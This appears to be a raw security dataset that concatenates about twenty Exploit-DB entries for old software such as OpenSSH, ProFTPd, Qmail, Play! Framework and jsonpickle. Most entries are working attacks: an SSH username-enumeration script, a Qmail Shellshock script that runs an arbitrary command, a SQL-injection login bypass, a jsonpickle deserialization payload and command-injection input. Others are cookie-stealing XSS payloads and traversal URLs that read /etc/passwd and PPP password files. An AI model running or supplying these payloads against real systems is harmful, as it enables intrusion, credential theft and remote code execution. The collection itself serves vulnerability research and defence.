deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24040
Description: PISG 0.54 - IRC Nick HTML Injection
Type: remote
Platform: multiple
Date: 2004-04-22
Author: shr3kst3r

Exploit:
source: https://www.securityfocus.com/bid/10195/info

pisg has been reported prone to an input validation vulnerability. The issue will only present itself when pisg is used to monitor an IRC server that does not place limitations on IRC Nick values that can be used.

If an attacker specifies HTML code as a value for the IRC Nickname, this value may be incorporated into the HTML pages that are generated by pisg.

PROOF:
1. silc
2. /connect %Suitable IRC server%
3. /nick <script>alert(document.domain);</script>
4. /log ...
5. /me a couple of times on a channel
6. /quit
3. then generate stats ./pisg
4. surf the index.html
Exploit-DB #14602
Description: Play! Framework 1.0.3.1 - Directory Traversal
Type: remote
Platform: multiple
Date: 2010-08-10
Author: kripthor

Exploit:
Exploit Title:     Play! Framework <= 1.0.3.1 Directory Transversal Vulnerability
Date:              July 24, 2010
Author:            kripthor
Software Link:     http://www.playframework.org/
Version:           Play! Framework <= 1.0.3.1
Tested on:         Ubuntu 10 
CVE :              N/A
Notes:             28/07/2010 at 14:03 - Developer contacted
                   28/07/2010 at 15:04 - Fix released
                   10/08/2010 at 17:00 - Exploit published
References: 	   www.playframework.com


An attacker can download any file that the owner of the Play! process can read.

Simply browse to:

http://127.0.0.1:9000/public/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

The '/public' directory must be a directory with a 'staticDir' mapping in the 'conf/routes' configuration file. 
Typically an images or css directory on the server.
Exploit-DB #3303
Description: Portable OpenSSH 3.6.1p-PAM/4.1-SuSE - Timing Attack
Type: remote
Platform: multiple
Date: 2007-02-13
Author: Marco Ivaldi

Exploit:
#!/bin/bash

#
# $Id: raptor_sshtime,v 1.1 2007/02/13 16:38:57 raptor Exp $
#
# raptor_sshtime - [Open]SSH remote timing attack exploit
# Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# OpenSSH-portable 3.6.1p1 and earlier with PAM support enabled immediately 
# sends an error message when a user does not exist, which allows remote 
# attackers to determine valid usernames via a timing attack (CVE-2003-0190).
#
# OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions,
# and possibly under limited configurations, allows remote attackers to 
# determine valid usernames via timing discrepancies in which responses take 
# longer for valid usernames than invalid ones, as demonstrated by sshtime. 
# NOTE: as of 20061014, it appears that this issue is dependent on the use of 
# manually-set passwords that causes delays when processing /etc/shadow due to 
# an increased number of rounds (CVE-2006-5229).
# 
# This is a simple shell script based on expect meant to remotely analyze 
# timing differences in sshd "Permission denied" replies. Depending on OpenSSH 
# version and configuration, it may lead to disclosure of valid usernames. 
#
# Usage example: 
# [make sure the target hostkey has been approved before]
# ./sshtime 192.168.0.1 dict.txt
#

# Some vars
port=22

# Command line
host=$1
dict=$2

# Local functions
function head() {
	echo ""
	echo "raptor_sshtime - [Open]SSH remote timing attack exploit"
	echo "Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info>"
	echo ""
}

function foot() {
	echo ""
	exit 0
}
	
function usage() {
	head
	echo "[make sure the target hostkey has been approved before]"
	echo ""
	echo "usage  : ./sshtime <target> <wordlist>"
	echo "example: ./sshtime 192.168.0.1 dict.txt"
	foot
}

function notfound() {
	head
	echo "error  : expect interpreter not found!"
	foot
}

# Check if expect is there
expect=`which expect 2>/dev/null`
if [ $? -ne 0 ]; then
	notfound
fi

# Input control
if [ -z "$2"  ]; then
	usage
fi

# Perform the bruteforce attack
head

for user in `cat $dict`
do
	echo -ne "$user@$host\t\t"
	(time -p $expect -c "log_user 0; spawn -noecho ssh -p $port $host -l $user; for {} 1 {} {expect -nocase \"password*\" {send \"dummy\r\"} eof {exit}}") 2>&1 | grep real
done

foot

# milw0rm.com [2007-02-13]
Exploit-DB #33653
Description: PortWise SSL VPN 4.6 - 'reloadFrame' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2010-02-18
Author: George Christopoulos

Exploit:
source: https://www.securityfocus.com/bid/38308/info

PortWise SSL VPN is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PortWise SSL VPN 4.6 is vulnerable; other versions may also be affected.

https://www/example.com/wa/auth?&authmech=Assess&reloadFrame=%22;%3Cscript%3Eblah%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #23385
Description: PostMaster 3.16/3.17 Proxy Service - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-11-17
Author: Ziv Kamir

Exploit:
source: https://www.securityfocus.com/bid/9055/info

PostMaster has been reported prone to a cross-site scripting vulnerability. The issue presents itself due to a lack of sufficient sanitization that is performed by the proxy service on user-supplied data. An attacker may construct a malicious HTTP request link that contains embedded HTML and script code. When this request is handled by the proxy service, the malicious HTML and script code contained in the request will be incorporated into an error page and in turn will be rendered in the browser of a user who follows the link. 

http://www.example.com/<script>alert(document.cookie)</script>
Exploit-DB #8037
Description: ProFTPd - 'mod_mysql' Authentication Bypass
Type: remote
Platform: multiple
Date: 2009-02-10
Author: gat3way

Exploit:
Just found out a problem with proftpd's sql authentication. The problem is easily reproducible if you login with username like:

USER %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; -- 

and a password of "1" (without quotes).

which leads to a successful login. Different account logins can be made successful using the limit clase (e.g appending "LIMIT 5,1" will make you login with as the 5th account in the users table).

As far as I can see in the mysql logs the query becomes:

SELECT userid, passwd, uid, gid, homedir, shell FROM users WHERE (userid='{UNKNOWN TAG}') and 1=2 union select 1,1,uid,gid,homedir,shell from users limit 1,1; -- ') LIMIT 1

I think the problem lies in the handling of the "%" character (probably that's some way to sanitize input to avoid format string things?).

Anyway, %' effectively makes the single quote unescaped and that eventually allows for an SQL injection during login.

# milw0rm.com [2009-02-10]
Exploit-DB #22410
Description: ProtWare HTML Guardian 6.x - Encryption
Type: remote
Platform: multiple
Date: 2003-03-21
Author: rain_song

Exploit:
source: https://www.securityfocus.com/bid/7169/info

A weakness has been reported in the encryption scheme used by ProtWare HTML Guardian. Specifically, the encryption scheme implemented obfuscates data using a simple bit shifting technique, making it trivial for attackers to reverse. 

Administrators may be relying on a false sense of security by implementing the protection supplied by HTML Guardian.

Although it has not been confirmed, it is possible that this issue affects the latest release of HTML Guardian. Earlier versions may also be affected.

#!/usr/bin/perl
#
# Written by rain_song
#
# input file should only contain the main "encrypted" string, which is the 2nd
# javascript variable in the HTML source code.
#

if( $#ARGV != 0 )
{
	print "\nWritten by rain_song";
	print "\nUsage: $0 input_file\n";
	print "\tinput_file should only contain 2nd JS variable of HTML page (it\n";
	print "\t  is the biggest variable)\n\n";
	exit( 0 );
}

open( INPUT, "<$ARGV[0]" ) or die;

$encrypted = <INPUT>;
close( INPUT );
$length = length($encrypted);

$string1 = substr( $encrypted, 0, $length/2 );
$string2 = substr( $encrypted, $length/2, $length-1 );

$i = 0;
while( $i < length($string1) )
{
	$decrypted .= substr( $string1, $i, 1 ) . substr( $string2, $i, 1 );
	$i++;
}

$decrypted =~ s/\\/\@\@/g;
$decrypted =~ s/\'/\`/g;
$decrypted =~ s/qg/\r\n/g;

print $decrypted;
Exploit-DB #21025
Description: Proxomitron Naoko-4 - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2001-07-24
Author: TAKAGI Hiromitsu

Exploit:
source: https://www.securityfocus.com/bid/3087/info

Proxomitron is a free web proxy server.

Proxomitron is vulnerable to a cross site scripting attack.

The condition is present because of the way URLS are displayed in error messages. It is possible for script code to be embedded in the error page through a maliciously constructed link. When the error is displayed, the script will be executed within the context of the proxy server's error page on the client browser. This may permit various web-based attacks including stealing cookies, etc.

Accessing the following URL with the browser configured to use Proxomitron as a proxy,

http://www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>

it will cause Proxomitron to produce output like this:
========================================================
<html><head><title>The Proxomitron Reveals...</title>
...
The Proxomitron couldn't connect to...<br>
font color=#ffff00 size=+1 > www.example.com:9999/<SCRIPT>document.write(document.domain)</SCRIPT>
</font><br>
The site may be busy or the web server may be down.
...
========================================================

and this will be shown as the following:
========================================================
Error connecting to site
The Proxomitron couldn't connect to...
www.example.com:9999/www.example.com
The site may be busy or the web server may be down.
========================================================

The noteworthy point is that the JavaScript code will be executed on an arbitrary specified domain.
Exploit-DB #23271
Description: PSCS VPOP3 2.0 Email Server WebAdmin - Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-10-22
Author: SecuriTeam

Exploit:
source: https://www.securityfocus.com/bid/8869/info

It has been reported that PSCS VPOP3 Email Server may be prone to a cross-site scripting vulnerability that may allow a remote attacker to embed malicious HTML and script code in a link. The issue is reported to be present in the WebAdmin utility of the software because of improper sanitization of user-supplied data that will be displayed by the utility.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

PSCS VPOP3 versions 2.0.0e and 2.0.0f have been reported to be prone to this vulnerability, however other versions may be affected as well. 

index.html?redirect=admin/index.html";%0Devil_script;%0D//
Exploit-DB #32781
Description: PyBlosxom 1.6.3 Atom Flavor - Multiple XML Injection Vulnerabilities
Type: remote
Platform: multiple
Date: 2009-02-09
Author: Nam Nguyen

Exploit:
source: https://www.securityfocus.com/bid/33676/info

PyBlosxom is prone to multiple XML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content.

Attacker-supplied XML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

PyBlosxom 1.4.3 is vulnerable; other versions may also be affected.

http://host/path/%3Ccool%3E?flav=atom
Exploit-DB #22496
Description: Python 2.2/2.3 - Documentation Server Error Page Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2003-04-15
Author: euronymous

Exploit:
source: https://www.securityfocus.com/bid/7353/info

It has been reported that the Python Documentation Server is vulnerable to a cross-site scripting problem in error pages. Because of this, an attacker could potentially cause the execution of malicious HTML and script code in the browser of a web user. 

http://www.example.com:7464/<script>example</script>
Exploit-DB #49585
Description: python jsonpickle 2.0.0 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2021-02-24
Author: Adi Malyanker

Exploit:
# Exploit Title: python jsonpickle 2.0.0 - Remote Code Execution
# Date: 24-2-2021
# Vendor Homepage: https://jsonpickle.github.io
# Exploit Author: Adi Malyanker, Shay Reuven
# Software Link: https://github.com/jsonpickle/jsonpickle
# Version: 2.0.0
# Tested on: windows, linux

# 	Python is an open source language. jsonickle module is provided to convert objects into a serialized form, 
# 	and later recover the data back into an object. the decode is used to undeserialize serialized strings.

# 	If malicious data is deserialized, it will execute arbitrary Python commands. It is also possible to make system() calls. 
# 	the problem is in the inner function loadrepr function which eval each serialized string which contains "py/repr".

#	The vulnerability exists from the first version till the current version for backward compatibility. no patch is provided yet

#	the payload was found during our research made on deserialization functions.

# 	the pattern should be :
# 	{..{"py/repr":<the module to import>/<the command to be executed.>}..}

# 	example:

malicious = '{"1": {"py/repr": "time/time.sleep(10)"}, "2": {"py/id": 67}}'

# 	the command on the server side
some_parameter = jsonpickle.decode(malicious)
Exploit-DB #35570
Description: python-feedparser 5.0 - '/feedparser/feedparser.py' Cross-Site Scripting
Type: remote
Platform: multiple
Date: 2011-04-05
Author: fazalmajid

Exploit:
source: https://www.securityfocus.com/bid/47177/info


python-feedparser is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

<!--
Description: ensure nested CDATA sections are sanitized properly
Expect: bozo and entries[0]['content'][0]['value'] == u'<![CDATA[]]>'
-->
<rss xmlns:content="http://www.example.com/rss/1.0/modules/content/" version="2.0">
<channel>
  <item>
    <content:encoded><![CDATA[<![CDATA[<script></script>]]>]]></content:encoded>
  </item>
</channel>
</rss
Exploit-DB #19383
Description: Qbik WinGate Standard 3.0.5 - Log Service Directory Traversal
Type: remote
Platform: multiple
Date: 1999-02-22
Author: eEYe

Exploit:
source: https://www.securityfocus.com/bid/507/info


The WinGate log service is configured by default to only allow connections from 127.0.0.1, but can be set to allow connections from anywhere. Either way, there is a vulnerability that will allow any file to be read through the log service port over an http connection.

Update (October 16, 2000):

Blue Panda <bluepanda@dwarf.box.sk> has discovered that a variation of the vulnerability exists in recent versions. Using escaped characters, one can achieve the same effect. 

There are various ways of exploiting this.
NT and Win9x:
h t t p://www.server.com:8010/c:/
h t t p://www.server.com:8010//
Win9x only:
h t t p://www.server.com:8010/..../
Exploit-DB #48651
Description: Qmail SMTP 1.03 - Bash Environment Variable Injection
Type: remote
Platform: multiple
Date: 2020-07-08
Author: 1F98D

Exploit:
# Exploit Title: Qmail SMTP 1.03 - Bash Environment Variable Injection
# Date: 2020-07-03
# Exploit Author: 1F98D
# Original Authors: Mario Ledo, Mario Ledo, Gabriel Follon
# Version: Qmail 1.03
# Tested on: Debian 9.11 (x64)
# CVE: CVE-2014-6271
# References:
# http://seclists.org/oss-sec/2014/q3/649
# https://lists.gt.net/qmail/users/138578
#
# Qmail is vulnerable to a Shellshock vulnerability due to lack of validation
# in the MAIL FROM field.
#
#!/usr/local/bin/python3

from socket import *
import sys

if len(sys.argv) != 4:
    print('Usage {} <target ip> <email adress> <command>'.format(sys.argv[0]))
    print("E.g. {} 127.0.0.1 'root@debian' 'touch /tmp/x'".format(sys.argv[0]))
    sys.exit(1)

TARGET = sys.argv[1]
MAILTO = sys.argv[2]
CMD = sys.argv[3]

s = socket(AF_INET, SOCK_STREAM)
s.connect((TARGET, 25))

res = s.recv(1024)
if 'ESMTP' not in str(res):
    print('[!] No ESMTP detected')
    print('[!] Received {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] ESMTP detected')
s.send(b'HELO x\r\n')
res = s.recv(1024)
if '250' not in str(res):
    print('[!] Error connecting, expected 250')
    print('[!] Received: {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] Connected, sending payload')
s.send(bytes("MAIL FROM:<() {{ :; }}; {}>\r\n".format(CMD), 'utf-8'))
res = s.recv(1024)
if '250' not in str(res):
    print('[!] Error sending payload, expected 250')
    print('[!] Received: {}'.format(str(res)))
    print('[!] Exiting...')
    sys.exit(1)

print('[*] Payload sent')
s.send(bytes('RCPT TO:<{}>\r\n'.format(MAILTO), 'utf-8'))
s.recv(1024)
s.send(b'DATA\r\n')
s.recv(1024)
s.send(b'\r\nxxx\r\n.\r\n')
s.recv(1024)
s.send(b'QUIT\r\n')
s.recv(1024)
print('[*] Done')
Exploit-DB #20207
Description: QSSL Voyager 2.0 1B - '.photon' Directory Information Disclosure
Type: remote
Platform: multiple
Date: 2000-09-01
Author: neonbunny

Exploit:
source: https://www.securityfocus.com/bid/1648/info
 
The web server supplied with the QNX Voyager demo disk contains several vulnerabilities.
 
First, Voyager will follow relative paths passed to it in requests. This includes ../ style paths, which will allow Voyager to serve pages outside of the "document root".
Another vulnerability is that the web server does not have sufficient security restrictions - this means that the web server can access any file, including protected files and special /dev entries.
 
As well, due to the integration of the web browser and web server, information used by the Photon GUI is easily exposed by requesting files under /.photon/. Additionally, html files generated by the web browser (error messages, for example) and the QNX configuration interface share the same directory as published html files.
 
While the Voyager web server is not intended to be used in a production environment, and is in fact intended only to be a demo of the QNX OS, users should be aware of these design errors.

[Revealing] URLS include...
http://target/.photon/voyager/config.full
The web client's settings file
http://target/.photon/voyager/history.html
Recently visited sites
http://target/.photon/voyager/hotlist
The list of book-marked sites
http://target/.photon/pwm/pwm.menu
The Photon Window Manager menu listing (Equivalent to MS Windows' 'start
menu')
http://target/.photon/phdial/connection [Modem build only]
Exploit-DB #20206
Description: QSSL Voyager 2.0 1B - Arbitrary File Access
Type: remote
Platform: multiple
Date: 2000-09-01
Author: neonbunny

Exploit:
source: https://www.securityfocus.com/bid/1648/info

The web server supplied with the QNX Voyager demo disk contains several vulnerabilities.

First, Voyager will follow relative paths passed to it in requests. This includes ../ style paths, which will allow Voyager to serve pages outside of the "document root".
Another vulnerability is that the web server does not have sufficient security restrictions - this means that the web server can access any file, including protected files and special /dev entries.

As well, due to the integration of the web browser and web server, information used by the Photon GUI is easily exposed by requesting files under /.photon/. Additionally, html files generated by the web browser (error messages, for example) and the QNX configuration interface share the same directory as published html files.

While the Voyager web server is not intended to be used in a production environment, and is in fact intended only to be a demo of the QNX OS, users should be aware of these design errors.

DoS the web server:
http://target/../../dev/dns

Recent PPP passwords (modem build of Voyager):
http://target/../../etc/ppp/chap-secrets
http://target/../../etc/ppp/pap-secrets
Exploit-DB #19120
Description: Ralf S. Engelschall ePerl 2.2.12 - Handling of ISINDEX Query
Type: remote
Platform: multiple
Date: 1998-07-06
Author: Luz Pinto

Exploit:
source: https://www.securityfocus.com/bid/151/info

A bug exists in ePerl's handling of the ISINDEX queries. When ISINDEX is used, the query is passed on the command line by the web server. This would allow an attacker to execute arbitrary code via the ePerl interpreter, with none of the restrictions enforced normally. In addition, this allows for the execution of any code on the file system.

1) Place perl code on filesystem. This could be done via a writeable directory on anonymous ftp.
2) Determine (or guess) the path to the code to be executed.
3) Run code via an appropriate cgi-bin program:
http://foo.com/some/dir/doit.phtml?/home/ftp/incoming/executemycode.phtml
Exploit-DB #19121
Description: Ray Chan WWW Authorization Gateway 0.1 - Command Execution
Type: remote
Platform: multiple
Date: 1998-07-08
Author: Albert Nubdy

Exploit:
source: https://www.securityfocus.com/bid/152/info

A vulnerability exists in the WWW Authorization Gateway program written by Ray Chan. Version 1.0 fails to eliminate characters with special meaning to the shell prior to executing a command. As a result, an attacker can utilize certain characters to execute arbitrary commands on a system remotely, as whatever user invoked the cgi-bin.

Place the following as a username: 
| some command 
and any password. The command will be executed.
Exploit-DB #35062
Description: RDM Embedded Lock Manager < 9.x - 'lm_tcp' Service Buffer Overflow
Type: remote
Platform: multiple
Date: 2010-12-07
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/45245/info

RDM Embedded is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. The issue affects the 'lm_tcp' service.

Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users.

The issue affects lm_tcp <= 9.0.0 0248.18.0.0; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/15707.zip
Exploit-DB #25091
Description: realnetworks realarcade 1.2.0.994 - Multiple Vulnerabilities
Type: remote
Platform: multiple
Date: 2005-02-08
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/12494/info

Multiple remote vulnerabilities reportedly affect RealNetworks RealArcade. The first issue allows for arbitrary file deletion due to an input validation issue. The second issue is an integer overflow issue resulting in code execution.

Both of these issues require an unsuspecting user to download and activate a malicious file for exploitation.

Successful exploitation of these issues will facilitate code execution and file deletion with the privileges of an unsuspecting user that activates a malicious RealArcade file. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25091-1.rgp

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/25091-2.rgs